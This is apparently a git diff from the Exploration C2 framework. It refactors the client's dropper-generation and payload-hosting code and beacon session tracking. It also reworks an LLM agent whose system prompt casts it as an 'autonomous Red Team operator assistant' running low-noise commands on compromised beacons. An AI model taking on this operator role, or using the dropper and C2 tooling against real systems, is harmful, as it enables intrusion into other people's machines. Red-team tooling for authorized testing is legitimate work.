self.printInTerminal(commandLine, ErrorFileNotFound) - return - - commandTeamServer = GrpcPutIntoUploadDirInstruction+" "+hostListenerHash+" "+filename - termCommand = TeamServerApi_pb2.TerminalCommandRequest(command=commandTeamServer, data=payload) + commandTeamServer = GrpcHostArtifactInstruction+" "+hostListenerHash+" "+artifactReference + if hostedFilename: + commandTeamServer += " " + hostedFilename + termCommand = TeamServerApi_pb2.TerminalCommandRequest(command=commandTeamServer) resultTermCommand = self.grpcClient.executeTerminalCommand(termCommand) result = terminal_response_text(resultTermCommand) if isTerminalResponseError(resultTermCommand): self.printInTerminal(commandLine, result) return - - result = schemeDownload + "://" + ipDownload + ":" + portDownload + "/" + downloadPath + filename - self.printInTerminal(commandLine, result) + + hostedFilename = result.strip() + if not hostedFilename: + self.printInTerminal(commandLine, "Error: hosted artifact filename missing.") + return + + hostedUrl = schemeDownload + "://" + ipDownload + ":" + portDownload + "/" + downloadPath + hostedFilename + self.printInTerminal(commandLine, hostedUrl) def _handle_dropper_config(self, commandLine, instructions): @@ -866,7 +1275,7 @@ def _get_available_shellcode_generators(self): # def runDropper(self, commandLine, instructions): if len(instructions) < 2: - availableModules = DropperAvailableHeader + availableModules = DropperHelp + DropperAvailableHeader for module in DropperModules: availableModules += " " + module.__name__ + "\n" availableModules += DropperArchitectureHelp @@ -945,9 +1354,7 @@ def printDropperResult(self, cmd, result): # setCursorEditorAtEnd def setCursorEditorAtEnd(self): - cursor = self.editorOutput.textCursor() - cursor.movePosition(QTextCursor.MoveOperation.End) - self.editorOutput.setTextCursor(cursor) + move_editor_to_end(self.editorOutput) class DropperWorker(QObject): @@ -980,7 +1387,7 @@ def run(self): termCommand = TeamServerApi_pb2.TerminalCommandRequest(command=commandTeamServer) resultTermCommand = self.grpcClient.executeTerminalCommand(termCommand) - logging.debug("DropperWorker GenerateAndHostGeneric start") + logger.debug("DropperWorker GenerateAndHostGeneric start") result = terminal_response_text(resultTermCommand) if isTerminalResponseError(resultTermCommand): @@ -1027,12 +1434,12 @@ def run(self): targetOs = "windows" for module in DropperModules: if self.moduleName == module.__name__.lower(): - logging.debug("DropperWorker GenerateAndHostGeneric check OS for module: %s", self.moduleName) + logger.debug("DropperWorker GenerateAndHostGeneric check OS for module: %s", self.moduleName) try: getTargetOs = getattr(module, "getTargetOsExploration") - print(getTargetOs) + logger.debug("Dropper module %s target OS hook: %s", self.moduleName, getTargetOs) targetOs = getTargetOs().lower() - print(targetOs) + logger.debug("Dropper module %s target OS: %s", self.moduleName, targetOs) except AttributeError: targetOs = "windows" @@ -1057,7 +1464,7 @@ def run(self): urlDownload = schemeDownload + "://" + ipDownload + ":" + portDownload + "/" + downloadPath - logging.debug("DropperWorker GenerateAndHostGeneric urlDownload: %s", urlDownload) + logger.debug("DropperWorker GenerateAndHostGeneric urlDownload: %s", urlDownload) # Generate the payload droppersPath = [] @@ -1065,7 +1472,7 @@ def run(self): cmdToRun = "" for module in DropperModules: if self.moduleName == module.__name__.lower(): - logging.debug("GenerateAndHostGeneric DropperModule: %s", self.moduleName) + logger.debug("GenerateAndHostGeneric DropperModule: %s", self.moduleName) shellcodeGenerator = self.shellcodeGenerator shellcodeGeneratorLower = shellcodeGenerator.lower() @@ -1073,7 +1480,7 @@ def run(self): # Check shellcode generator if shellcodeGeneratorLower == ShellcodeGeneratorDonut.lower(): - print(DonutShellcodeGeneratorMessage) + logger.debug(DonutShellcodeGeneratorMessage) donutError = createDonutShellcode(beaconFilePath, beaconArg, self.targetArch) if donutError: self.finished.emit(self.commandLine, "Error: " + donutError) @@ -1084,10 +1491,10 @@ def run(self): else: for ShellCodeModule in ShellCodeModules: - logging.debug("ShellCodeModule: %s", ShellCodeModule) + logger.debug("ShellCodeModule: %s", ShellCodeModule) if shellcodeGeneratorLower == ShellCodeModule.__name__.lower(): - logging.debug("GenerateAndHostGeneric ShellCodeModule: %s", ShellCodeModule.__name__) + logger.debug("GenerateAndHostGeneric ShellCodeModule: %s", ShellCodeModule.__name__) genShellcode = getattr(ShellCodeModule, "buildLoaderShellcode") genShellcode(beaconFilePath, "", beaconArg, 3) @@ -1141,89 +1548,50 @@ def run(self): return -class CommandEditor(QLineEdit): - tabPressed = pyqtSignal() - cmdHistory = [] - idx = 0 - - def __init__(self, parent=None): - super().__init__(parent) +class CommandEditor(CompletionInput): + def __init__(self, parent=None, grpcClient=None): + super().__init__( + parent, + completion_data=build_terminal_completer_data(grpcClient), + ) + self.grpcClient = grpcClient + self._completionProvider = self.loadCompletionData + self.cmdHistory = [] + self.idx = 0 - if(os.path.isfile(HistoryFileName)): - cmdHistoryFile = open(HistoryFileName) - self.cmdHistory = cmdHistoryFile.readlines() - self.idx=len(self.cmdHistory)-1 - cmdHistoryFile.close() + if os.path.isfile(HistoryFileName): + with open(HistoryFileName, encoding="utf-8") as cmdHistoryFile: + self.cmdHistory = cmdHistoryFile.readlines() + self.idx = len(self.cmdHistory) - 1 - QShortcut(Qt.Key.Key_Up, self, self.historyUp) - QShortcut(Qt.Key.Key_Down, self, self.historyDown) + QShortcut(Qt.Key.Key_Up, self.lineEdit, self.historyUp) + QShortcut(Qt.Key.Key_Down, self.lineEdit, self.historyDown) - self.codeCompleter = CodeCompleter(completerData, self) - # needed to clear the completer after activation - self.codeCompleter.activated.connect(self.onActivated) - self.setCompleter(self.codeCompleter) - self.tabPressed.connect(self.nextCompletion) + def loadCompletionData(self): + return build_terminal_completer_data(self.grpcClient) - def nextCompletion(self): - index = self.codeCompleter.currentIndex() - self.codeCompleter.popup().setCurrentIndex(index) - start = self.codeCompleter.currentRow() - if not self.codeCompleter.setCurrentRow(start + 1): - self.codeCompleter.setCurrentRow(0) + def refreshCompleter(self, force=False): + self.refreshCompletions(force) - def event(self, event): - if event.type() == QEvent.Type.KeyPress and event.key() == Qt.Key.Key_Tab: - self.tabPressed.emit() - return True - return super().event(event) + def completionLookupPrefix(self): + return self.completionPrefix() def historyUp(self): - if(self.idx=0): - cmd = self.cmdHistory[self.idx%len(self.cmdHistory)] - self.idx=max(self.idx-1,0) + if self.idx < len(self.cmdHistory) and self.idx >= 0: + cmd = self.cmdHistory[self.idx % len(self.cmdHistory)] + self.idx = max(self.idx - 1, 0) self.setText(cmd.strip()) def historyDown(self): - if(self.idx=0): - self.idx=min(self.idx+1,len(self.cmdHistory)-1) - cmd = self.cmdHistory[self.idx%len(self.cmdHistory)] + if self.idx < len(self.cmdHistory) and self.idx >= 0: + self.idx = min(self.idx + 1, len(self.cmdHistory) - 1) + cmd = self.cmdHistory[self.idx % len(self.cmdHistory)] self.setText(cmd.strip()) def setCmdHistory(self): - cmdHistoryFile = open(HistoryFileName) - self.cmdHistory = cmdHistoryFile.readlines() - self.idx=len(self.cmdHistory)-1 - cmdHistoryFile.close() + with open(HistoryFileName, encoding="utf-8") as cmdHistoryFile: + self.cmdHistory = cmdHistoryFile.readlines() + self.idx = len(self.cmdHistory) - 1 def clearLine(self): self.clear() - - def onActivated(self): - QTimer.singleShot(0, self.clear) - - -class CodeCompleter(QCompleter): - ConcatenationRole = Qt.ItemDataRole.UserRole + 1 - - def __init__(self, data, parent=None): - super().__init__(parent) - self.createModel(data) - - def splitPath(self, path): - return path.split(' ') - - def pathFromIndex(self, ix): - return ix.data(CodeCompleter.ConcatenationRole) - - def createModel(self, data): - def addItems(parent, elements, t=""): - for text, children in elements: - item = QStandardItem(text) - data = t + " " + text if t else text - item.setData(data, CodeCompleter.ConcatenationRole) - parent.appendRow(item) - if children: - addItems(item, children, data) - model = QStandardItemModel(self) - addItems(model, data) - self.setModel(model) diff --git a/C2Client/C2Client/assistant_agent/domain/hooks.py b/C2Client/C2Client/assistant_agent/domain/hooks.py index 2ea7450..4a61498 100644 --- a/C2Client/C2Client/assistant_agent/domain/hooks.py +++ b/C2Client/C2Client/assistant_agent/domain/hooks.py @@ -8,6 +8,7 @@ class C2DomainHooks(DomainHooks): def __init__(self) -> None: self.sessions: dict[str, dict[str, Any]] = {} + self.active_session_key: str | None = None self.recent_observations: list[dict[str, str]] = [] def record_session_event( @@ -21,19 +22,62 @@ def record_session_event( arch: str, privilege: str, os_name: str, + killed: Any = False, ) -> None: - if action == "start": - self.sessions[beacon_hash] = { + if not beacon_hash: + return + + killed = self._is_truthy(killed) + key = self._session_key(beacon_hash, listener_hash) + if action == "stop" or killed: + session = self.sessions.get(key, {}) + session.update({ "beacon_hash": beacon_hash, "listener_hash": listener_hash, - "hostname": hostname, - "username": username, - "arch": arch, - "privilege": privilege, - "os": os_name, + "hostname": hostname or session.get("hostname", ""), + "username": username or session.get("username", ""), + "arch": arch or session.get("arch", ""), + "privilege": privilege or session.get("privilege", ""), + "os": os_name or session.get("os", ""), + "killed": True, + }) + self.sessions[key] = session + if self.active_session_key == key: + self.active_session_key = None + return + + session = self.sessions.get(key, {}) + session.update({ + "beacon_hash": beacon_hash, + "listener_hash": listener_hash, + "hostname": hostname or session.get("hostname", ""), + "username": username or session.get("username", ""), + "arch": arch or session.get("arch", ""), + "privilege": privilege or session.get("privilege", ""), + "os": os_name or session.get("os", ""), + "killed": False, + }) + self.sessions[key] = session + + def record_active_session(self, *, beacon_hash: str, listener_hash: str) -> None: + if not beacon_hash: + return + key = self._session_key(beacon_hash, listener_hash) + session = self.sessions.get(key) + if session and session.get("killed"): + return + if session is None: + self.sessions[key] = { + "beacon_hash": beacon_hash, + "listener_hash": listener_hash, + "hostname": "", + "username": "", + "arch": "", + "privilege": "", + "os": "", + "killed": False, } - elif action == "stop": - self.sessions.pop(beacon_hash, None) + self.active_session_key = key def record_console_observation( self, @@ -57,15 +101,39 @@ def record_console_observation( def build_system_prompt_blocks(self, *, settings, session_manager) -> list[str]: lines = ["C2 runtime context:"] - if self.sessions: - lines.append("Known sessions:") - for session in self.sessions.values(): + live_sessions = [session for session in self.sessions.values() if not session.get("killed")] + killed_sessions = [session for session in self.sessions.values() if session.get("killed")] + active_session = self._effective_active_session(live_sessions) + if active_session and not active_session.get("killed"): + lines.append( + "Active selected session: short_beacon={short_beacon}, beacon_hash={beacon_hash}, listener_hash={listener_hash}, host={hostname}, " + "user={username}, arch={arch}, privilege={privilege}, os={os}. Use this session for current beacon/current session requests.".format( + **self._format_session(active_session) + ) + ) + else: + lines.append( + "Active selected session: none. If exactly one live session is listed, use it for current beacon/current session requests; otherwise ask the operator to select a live session." + ) + + if live_sessions: + lines.append("Known live sessions. Match short operator references like `mz` against beacon_hash prefixes:") + for session in live_sessions: lines.append( - "- beacon_hash={beacon_hash}, listener_hash={listener_hash}, host={hostname}, " - "user={username}, arch={arch}, privilege={privilege}, os={os}".format(**session) + "- short_beacon={short_beacon}, beacon_hash={beacon_hash}, listener_hash={listener_hash}, host={hostname}, " + "user={username}, arch={arch}, privilege={privilege}, os={os}".format(**self._format_session(session)) ) else: - lines.append("Known sessions: none. Ask the operator to select or provide a session before using C2 tools.") + lines.append("Known live sessions: none.") + + if killed_sessions: + lines.append("Killed sessions are invalid targets:") + for session in killed_sessions[-5:]: + lines.append( + "- short_beacon={short_beacon}, beacon_hash={beacon_hash}, listener_hash={listener_hash}, host={hostname}, user={username}".format( + **self._format_session(session) + ) + ) if self.recent_observations: lines.append("Recent console observations:") @@ -76,3 +144,35 @@ def build_system_prompt_blocks(self, *, settings, session_manager) -> list[str]: ) ) return ["\n".join(lines)] + + def _effective_active_session(self, live_sessions: list[dict[str, Any]]) -> dict[str, Any] | None: + active_session = self.sessions.get(self.active_session_key or "") + if active_session and not active_session.get("killed"): + return active_session + + live_by_key = { + self._session_key(session.get("beacon_hash", ""), session.get("listener_hash", "")): session + for session in live_sessions + } + for observation in reversed(self.recent_observations): + key = self._session_key(observation.get("beacon_hash", ""), observation.get("listener_hash", "")) + session = live_by_key.get(key) + if session is not None: + return session + + if len(live_sessions) == 1: + return live_sessions[0] + return None + + def _format_session(self, session: dict[str, Any]) -> dict[str, Any]: + formatted = dict(session) + formatted["short_beacon"] = str(formatted.get("beacon_hash", ""))[:8] + return formatted + + def _session_key(self, beacon_hash: str, listener_hash: str) -> str: + return f"{beacon_hash}:{listener_hash}" + + def _is_truthy(self, value: Any) -> bool: + if isinstance(value, str): + return value.strip().lower() in {"1", "true", "yes", "y", "killed", "dead", "stop", "stopped"} + return bool(value) diff --git a/C2Client/C2Client/assistant_agent/domain/settings.py b/C2Client/C2Client/assistant_agent/domain/settings.py index 0e70ae4..4f0f9d4 100644 --- a/C2Client/C2Client/assistant_agent/domain/settings.py +++ b/C2Client/C2Client/assistant_agent/domain/settings.py @@ -33,6 +33,8 @@ def build_c2_agent_settings(*, storage_dir: Path | None = None) -> CoreSettings: temperature=float(os.getenv("C2_ASSISTANT_TEMPERATURE", "0.05")), memory_temperature=float(os.getenv("C2_ASSISTANT_MEMORY_TEMPERATURE", "0.0")), max_tool_calls_per_turn=int(os.getenv("C2_ASSISTANT_MAX_TOOL_CALLS", "10")), + max_active_context_tokens=int(os.getenv("C2_ASSISTANT_MAX_ACTIVE_CONTEXT_TOKENS", "64000")), + log_synthesis_payloads=os.getenv("C2_ASSISTANT_LOG_SYNTHESIS_PAYLOADS", "").lower() in {"1", "true", "yes", "y"}, session_file=storage_dir / "session.json", reports_directory=storage_dir / "reports", prompts_dir=prompt_root, diff --git a/C2Client/C2Client/assistant_agent/prompts/system/main_agent.md b/C2Client/C2Client/assistant_agent/prompts/system/main_agent.md index 3169242..93363de 100644 --- a/C2Client/C2Client/assistant_agent/prompts/system/main_agent.md +++ b/C2Client/C2Client/assistant_agent/prompts/system/main_agent.md @@ -1,4 +1,4 @@ -You are an autonomous Red Team operator assistant embedded within the "Exploration" C2 framework. +You are an autonomous Red Team operator assistant embedded within the Exploration C2 framework. Your role is to support authorized offensive security operations by analyzing session metadata, interpreting command outputs, and orchestrating precise, low-noise actions through available C2 tools. @@ -25,7 +25,14 @@ OPERATIONAL MODEL TOOL USAGE CONSTRAINTS ---------------------------------------- - Always use the most specific and purpose-built tool available. +- Available C2 command tools are generated from the TeamServer CommandSpecs catalog. Treat tool names, descriptions, arguments, artifact requirements, platforms, and examples as the authoritative command source. +- Use `getCommandHelp` when exact TeamServer help is needed before choosing or explaining a command. +- `getCommandHelp` is the only C2 tool where session hashes are optional. Use it for help requests instead of answering from memory. +- Use `listLiveSessions` when the active session is unclear, when the operator references a short beacon prefix, or when a command is rejected as targeting an unavailable session. +- For tools described as `kind=module`, first call `listLoadedModules` for the target session unless recent context already proves the module is loaded. If the module is missing, load it with `loadModule ` before retrying the module command. +- When the operator says current session/current beacon, use the Active selected session from runtime context. If no active session is shown but there is exactly one live session, use that live session. Do not target killed sessions. - Only use generic execution or raw module argument tools if no specialized tool exists. +- Treat each available module as a local release-side module; do not invent remote capabilities. - Every tool call MUST include: - Full and exact `beacon_hash` - Full and exact `listener_hash` @@ -102,4 +109,4 @@ FAILURE HANDLING PRINCIPLE ---------------------------------------- Act like a disciplined operator, not a script runner: -Every action must be intentional, justified, and aligned with the engagement objective. \ No newline at end of file +Every action must be intentional, justified, and aligned with the engagement objective. diff --git a/C2Client/C2Client/assistant_agent/tools/__init__.py b/C2Client/C2Client/assistant_agent/tools/__init__.py index 1518902..ff97a32 100644 --- a/C2Client/C2Client/assistant_agent/tools/__init__.py +++ b/C2Client/C2Client/assistant_agent/tools/__init__.py @@ -1,12 +1,19 @@ from .command_builder import build_command_line +from .command_help_tool import C2CommandHelpTool +from .command_specs import C2CommandSpecToolSpec, command_spec_to_tool_spec, load_command_tool_specs from .command_tool import C2CommandTool -from .loader import C2ToolSpec, load_tool_specs +from .module_state_tool import C2LoadedModulesTool +from .session_state_tool import C2LiveSessionsTool from .registry import build_c2_tool_registry __all__ = [ "C2CommandTool", - "C2ToolSpec", + "C2CommandHelpTool", + "C2CommandSpecToolSpec", + "C2LiveSessionsTool", + "C2LoadedModulesTool", "build_c2_tool_registry", "build_command_line", - "load_tool_specs", + "command_spec_to_tool_spec", + "load_command_tool_specs", ] diff --git a/C2Client/C2Client/assistant_agent/tools/command_builder.py b/C2Client/C2Client/assistant_agent/tools/command_builder.py index deca6b1..795b792 100644 --- a/C2Client/C2Client/assistant_agent/tools/command_builder.py +++ b/C2Client/C2Client/assistant_agent/tools/command_builder.py @@ -3,7 +3,7 @@ import re from typing import Any -from .loader import C2ToolSpec +from .command_specs import C2CommandSpecToolSpec _OPTIONAL_SEGMENT_RE = re.compile(r"\[(?P[^\[\]]+)\]") _PLACEHOLDER_RE = re.compile(r"\{(?P[A-Za-z_][A-Za-z0-9_]*)(?::(?Praw|q|flag))?(?P\?)?\}") @@ -15,23 +15,28 @@ class _OmitOptionalSegment(Exception): def quote_argument(value: object) -> str: if value is None: - return '""' + return "''" text = str(value) if not text: - return '""' + return "''" - if text.startswith('"') and text.endswith('"') and len(text) >= 2: + if ( + (text.startswith("'") and text.endswith("'")) + or (text.startswith('"') and text.endswith('"')) + ) and len(text) >= 2: return text if any(ch.isspace() for ch in text) or '"' in text: + if "'" not in text: + return f"'{text}'" escaped = text.replace('"', '\\"') return f'"{escaped}"' return text -def build_command_line(spec: C2ToolSpec, arguments: dict[str, Any]) -> str: +def build_command_line(spec: C2CommandSpecToolSpec, arguments: dict[str, Any]) -> str: _validate_required_arguments(spec, arguments) def render_optional_segment(match: re.Match[str]) -> str: @@ -85,7 +90,7 @@ def replace(match: re.Match[str]) -> str: return _PLACEHOLDER_RE.sub(replace, template) -def _validate_required_arguments(spec: C2ToolSpec, arguments: dict[str, Any]) -> None: +def _validate_required_arguments(spec: C2CommandSpecToolSpec, arguments: dict[str, Any]) -> None: required = spec.parameters.get("required", []) if not isinstance(required, list): return diff --git a/C2Client/C2Client/assistant_agent/tools/command_help_tool.py b/C2Client/C2Client/assistant_agent/tools/command_help_tool.py new file mode 100644 index 0000000..a7b9846 --- /dev/null +++ b/C2Client/C2Client/assistant_agent/tools/command_help_tool.py @@ -0,0 +1,68 @@ +from __future__ import annotations + +from dataclasses import dataclass +from typing import Any + +from agent_core.execution_context import ExecutionContext +from agent_core.llm.base import LLMToolDefinition +from agent_core.tools import build_tool_definition +from agent_core.types import ToolResult + +from ...grpcClient import TeamServerApi_pb2 + + +@dataclass(slots=True) +class C2CommandHelpTool: + grpc_client: Any + + name = "getCommandHelp" + description = "Fetch exact command help from the TeamServer CommandSpec catalog. Pass a bare command name such as sleep or assemblyExec." + + def schema(self) -> LLMToolDefinition: + return build_tool_definition( + name=self.name, + description=self.description, + parameters={ + "type": "object", + "properties": { + "beacon_hash": { + "type": "string", + "description": "Optional full beacon hash for platform-aware help.", + }, + "listener_hash": { + "type": "string", + "description": "Optional full listener hash for platform-aware help.", + }, + "command": { + "type": "string", + "description": "Command name to document.", + }, + }, + "required": ["command"], + "additionalProperties": False, + }, + ) + + def execute(self, arguments: dict, context: ExecutionContext) -> ToolResult: + command = _help_command(arguments["command"]) + request = TeamServerApi_pb2.CommandHelpRequest( + session=TeamServerApi_pb2.SessionSelector( + beacon_hash=arguments.get("beacon_hash", ""), + listener_hash=arguments.get("listener_hash", ""), + ), + command=command, + ) + response = self.grpc_client.getCommandHelp(request) + if getattr(response, "status", TeamServerApi_pb2.OK) != TeamServerApi_pb2.OK: + message = getattr(response, "message", "") or "Command help was rejected by TeamServer." + return ToolResult(ok=False, content=message) + return ToolResult(ok=True, content=getattr(response, "help", "") or getattr(response, "message", "")) + + +def _help_command(command: str) -> str: + command = str(command or "").strip() + if not command: + return "help" + if command.lower() == "help" or command.lower().startswith("help "): + return command + return f"help {command}" diff --git a/C2Client/C2Client/assistant_agent/tools/command_specs.py b/C2Client/C2Client/assistant_agent/tools/command_specs.py new file mode 100644 index 0000000..38d8845 --- /dev/null +++ b/C2Client/C2Client/assistant_agent/tools/command_specs.py @@ -0,0 +1,225 @@ +from __future__ import annotations + +import logging +import re +from dataclasses import dataclass +from typing import Any + +from ...grpcClient import TeamServerApi_pb2 + +logger = logging.getLogger(__name__) + +_PLACEHOLDER_RE = re.compile( + r"\{(?P[A-Za-z_][A-Za-z0-9_]*)(?::(?Praw|q|flag))?(?P\?)?\}" +) +_OPTIONAL_SEGMENT_RE = re.compile(r"\[(?P[^\[\]]+)\]") +_NON_IDENTIFIER_RE = re.compile(r"[^A-Za-z0-9_]+") +_SESSION_PROPERTIES = { + "beacon_hash": { + "type": "string", + "description": "Full beacon hash for the target session.", + }, + "listener_hash": { + "type": "string", + "description": "Full listener hash for the target session.", + }, +} + + +@dataclass(frozen=True, slots=True) +class C2CommandSpecToolSpec: + name: str + description: str + command_template: str + parameters: dict[str, Any] + command_spec: Any + + +def load_command_tool_specs(grpc_client: Any) -> list[C2CommandSpecToolSpec]: + """Load assistant tools from the TeamServer CommandSpec catalog.""" + + if grpc_client is None or not hasattr(grpc_client, "listCommands"): + return [] + + try: + commands = list(grpc_client.listCommands(TeamServerApi_pb2.CommandQuery())) + except Exception as exc: + logger.error("Unable to load assistant CommandSpecs from TeamServer: %s", exc) + return [] + + names = [str(getattr(command, "name", "") or "").strip() for command in commands] + duplicates = sorted({name for name in names if name and names.count(name) > 1}) + if duplicates: + raise ValueError(f"Duplicate TeamServer CommandSpec names: {', '.join(duplicates)}") + + return [ + command_spec_to_tool_spec(command) + for command in sorted(commands, key=lambda item: str(getattr(item, "name", "") or "")) + if str(getattr(command, "name", "") or "").strip() + ] + + +def command_spec_to_tool_spec(command: Any) -> C2CommandSpecToolSpec: + name = _required_text(command, "name") + command_template = _required_text(command, "command_template") + return C2CommandSpecToolSpec( + name=name, + description=_tool_description(command, command_template), + command_template=command_template, + parameters=_tool_parameters(command, command_template), + command_spec=command, + ) + + +def command_arg_property_name(arg: Any) -> str: + name = str(getattr(arg, "name", "") or "").strip() + name = name.lstrip("-") + name = name.replace("-", "_") + name = _NON_IDENTIFIER_RE.sub("_", name).strip("_") + if not name: + name = "value" + if name[0].isdigit(): + name = f"arg_{name}" + return name + + +def _required_text(command: Any, field_name: str) -> str: + value = str(getattr(command, field_name, "") or "").strip() + if not value: + command_name = str(getattr(command, "name", "") or "") + raise ValueError(f"CommandSpec `{command_name}` must define `{field_name}`") + return value + + +def _tool_description(command: Any, command_template: str) -> str: + lines = [str(getattr(command, "description", "") or "").strip()] + details = [] + kind = str(getattr(command, "kind", "") or "").strip() + target = str(getattr(command, "target", "") or "").strip() + platforms = _joined(getattr(command, "platforms", [])) + archs = _joined(getattr(command, "archs", [])) + if kind: + details.append(f"kind={kind}") + if target: + details.append(f"target={target}") + if platforms: + details.append(f"platforms={platforms}") + if archs: + details.append(f"archs={archs}") + if details: + lines.append("; ".join(details)) + if kind.lower() == "module": + lines.append("Module command: call listLoadedModules first; load it with loadModule unless recent context confirms it is already loaded.") + lines.append(f"Template: {command_template}") + examples = [str(example).strip() for example in getattr(command, "examples", []) if str(example).strip()] + if examples: + lines.append("Examples: " + " | ".join(examples[:3])) + return "\n".join(line for line in lines if line) + + +def _tool_parameters(command: Any, command_template: str) -> dict[str, Any]: + placeholders = _template_placeholders(command_template) + arg_by_property = { + command_arg_property_name(arg): arg + for arg in getattr(command, "args", []) + } + properties: dict[str, Any] = dict(_SESSION_PROPERTIES) + required = ["beacon_hash", "listener_hash"] + + for placeholder in placeholders: + if placeholder.name in properties: + continue + arg = arg_by_property.get(placeholder.name) + properties[placeholder.name] = _property_schema(placeholder, arg) + if not placeholder.optional: + required.append(placeholder.name) + + return { + "type": "object", + "properties": properties, + "required": required, + "additionalProperties": False, + } + + +def _property_schema(placeholder: "_TemplatePlaceholder", arg: Any | None) -> dict[str, Any]: + if placeholder.modifier == "flag": + schema: dict[str, Any] = {"type": "boolean"} + else: + arg_type = str(getattr(arg, "type", "") or "").lower() + if arg_type == "number": + schema = {"type": "number"} + else: + schema = {"type": "string"} + + values = [str(value) for value in getattr(arg, "values", [])] if arg is not None else [] + if values and schema.get("type") == "string": + schema["enum"] = values + + description_parts = [] + if arg is not None: + arg_name = str(getattr(arg, "name", "") or "").strip() + arg_description = str(getattr(arg, "description", "") or "").strip() + if arg_name: + description_parts.append(f"Command argument `{arg_name}`.") + if arg_description: + description_parts.append(arg_description) + if _arg_has_artifact_filter(arg): + description_parts.append("Select an artifact compatible with the CommandSpec artifact filter.") + if bool(getattr(arg, "variadic", False)): + description_parts.append("May contain spaces.") + if placeholder.modifier == "raw": + description_parts.append("Rendered raw without shell quoting.") + if description_parts: + schema["description"] = " ".join(description_parts) + return schema + + +@dataclass(frozen=True, slots=True) +class _TemplatePlaceholder: + name: str + modifier: str + optional: bool + + +def _template_placeholders(command_template: str) -> list[_TemplatePlaceholder]: + optional_ranges: list[tuple[int, int]] = [] + for match in _OPTIONAL_SEGMENT_RE.finditer(command_template): + optional_ranges.append((match.start(), match.end())) + + placeholders: list[_TemplatePlaceholder] = [] + seen: set[str] = set() + for match in _PLACEHOLDER_RE.finditer(command_template): + name = match.group("name") + if name in seen: + continue + seen.add(name) + optional = bool(match.group("optional")) or any(start <= match.start() < end for start, end in optional_ranges) + placeholders.append( + _TemplatePlaceholder( + name=name, + modifier=match.group("modifier") or "", + optional=optional, + ) + ) + return placeholders + + +def _arg_has_artifact_filter(arg: Any) -> bool: + if getattr(arg, "artifact_filters", None): + return True + if not hasattr(arg, "artifact_filter"): + return False + if hasattr(arg, "HasField"): + try: + return bool(arg.HasField("artifact_filter")) + except ValueError: + return False + return getattr(arg, "artifact_filter", None) is not None + + +def _joined(values: Any) -> str: + try: + return ", ".join(str(value) for value in values if str(value).strip()) + except TypeError: + return "" diff --git a/C2Client/C2Client/assistant_agent/tools/command_tool.py b/C2Client/C2Client/assistant_agent/tools/command_tool.py index b4c40f4..32f6a92 100644 --- a/C2Client/C2Client/assistant_agent/tools/command_tool.py +++ b/C2Client/C2Client/assistant_agent/tools/command_tool.py @@ -5,7 +5,8 @@ from typing import Any from .command_builder import build_command_line -from .loader import C2ToolSpec +from .command_specs import C2CommandSpecToolSpec +from .module_state_tool import has_loaded_module from agent_core.execution_context import ExecutionContext from agent_core.llm.base import LLMToolDefinition @@ -17,7 +18,7 @@ @dataclass(slots=True) class C2CommandTool: - spec: C2ToolSpec + spec: C2CommandSpecToolSpec grpc_client: Any @property @@ -38,6 +39,13 @@ def schema(self) -> LLMToolDefinition: def execute(self, arguments: dict, context: ExecutionContext) -> ToolResult: beacon_hash = arguments["beacon_hash"] listener_hash = arguments["listener_hash"] + module_loaded = self._module_loaded(beacon_hash=beacon_hash, listener_hash=listener_hash) + if module_loaded is False: + return ToolResult( + ok=False, + content=f"Module `{self.spec.name}` is not loaded on this beacon. Use `loadModule {self.spec.name}` first, then retry the command.", + ) + command_line = build_command_line(self.spec, arguments) command_id = uuid.uuid4().hex command = TeamServerApi_pb2.SessionCommandRequest( @@ -65,3 +73,14 @@ def execute(self, arguments: dict, context: ExecutionContext) -> ToolResult: "command_line": command_line, }, ) + + def _module_loaded(self, *, beacon_hash: str, listener_hash: str) -> bool | None: + command_spec = self.spec.command_spec + if str(getattr(command_spec, "kind", "") or "").lower() != "module": + return True + return has_loaded_module( + self.grpc_client, + beacon_hash=beacon_hash, + listener_hash=listener_hash, + module_name=self.spec.name, + ) diff --git a/C2Client/C2Client/assistant_agent/tools/loader.py b/C2Client/C2Client/assistant_agent/tools/loader.py deleted file mode 100644 index 6d5e915..0000000 --- a/C2Client/C2Client/assistant_agent/tools/loader.py +++ /dev/null @@ -1,69 +0,0 @@ -from __future__ import annotations - -import json -from dataclasses import dataclass -from pathlib import Path -from typing import Any - - -@dataclass(frozen=True, slots=True) -class C2ToolSpec: - name: str - description: str - command_template: str - parameters: dict[str, Any] - source_path: Path - - -def default_schema_dir() -> Path: - return Path(__file__).resolve().parent / "schemas" - - -def load_tool_specs(schema_dir: Path | None = None) -> list[C2ToolSpec]: - schema_dir = schema_dir or default_schema_dir() - specs = [_load_tool_spec(path) for path in sorted(schema_dir.glob("*.json"))] - names = [spec.name for spec in specs] - duplicates = sorted({name for name in names if names.count(name) > 1}) - if duplicates: - raise ValueError(f"Duplicate C2 assistant tool names: {', '.join(duplicates)}") - return sorted(specs, key=lambda spec: spec.name) - - -def _load_tool_spec(path: Path) -> C2ToolSpec: - try: - payload = json.loads(path.read_text(encoding="utf-8")) - except json.JSONDecodeError as exc: - raise ValueError(f"Invalid JSON tool schema: {path}") from exc - - if not isinstance(payload, dict): - raise ValueError(f"Tool schema must be a JSON object: {path}") - - name = _required_string(payload, "name", path) - description = _required_string(payload, "description", path) - command_template = _required_string(payload, "command_template", path) - parameters = payload.get("parameters") - if not isinstance(parameters, dict) or parameters.get("type") != "object": - raise ValueError(f"Tool schema parameters must be a JSON object schema: {path}") - - required = parameters.get("required") - if not isinstance(required, list) or "beacon_hash" not in required or "listener_hash" not in required: - raise ValueError(f"Tool schema must require beacon_hash and listener_hash: {path}") - - properties = parameters.get("properties") - if not isinstance(properties, dict): - raise ValueError(f"Tool schema parameters.properties must be an object: {path}") - - return C2ToolSpec( - name=name, - description=description, - command_template=command_template, - parameters=parameters, - source_path=path, - ) - - -def _required_string(payload: dict[str, Any], key: str, path: Path) -> str: - value = payload.get(key) - if not isinstance(value, str) or not value.strip(): - raise ValueError(f"Tool schema field {key} must be a non-empty string: {path}") - return value.strip() diff --git a/C2Client/C2Client/assistant_agent/tools/module_state_tool.py b/C2Client/C2Client/assistant_agent/tools/module_state_tool.py new file mode 100644 index 0000000..9447ad2 --- /dev/null +++ b/C2Client/C2Client/assistant_agent/tools/module_state_tool.py @@ -0,0 +1,111 @@ +from __future__ import annotations + +from dataclasses import dataclass +from typing import Any + +from agent_core.execution_context import ExecutionContext +from agent_core.llm.base import LLMToolDefinition +from agent_core.tools import build_tool_definition +from agent_core.types import ToolResult + +from ...grpcClient import TeamServerApi_pb2 + + +@dataclass(slots=True) +class C2LoadedModulesTool: + 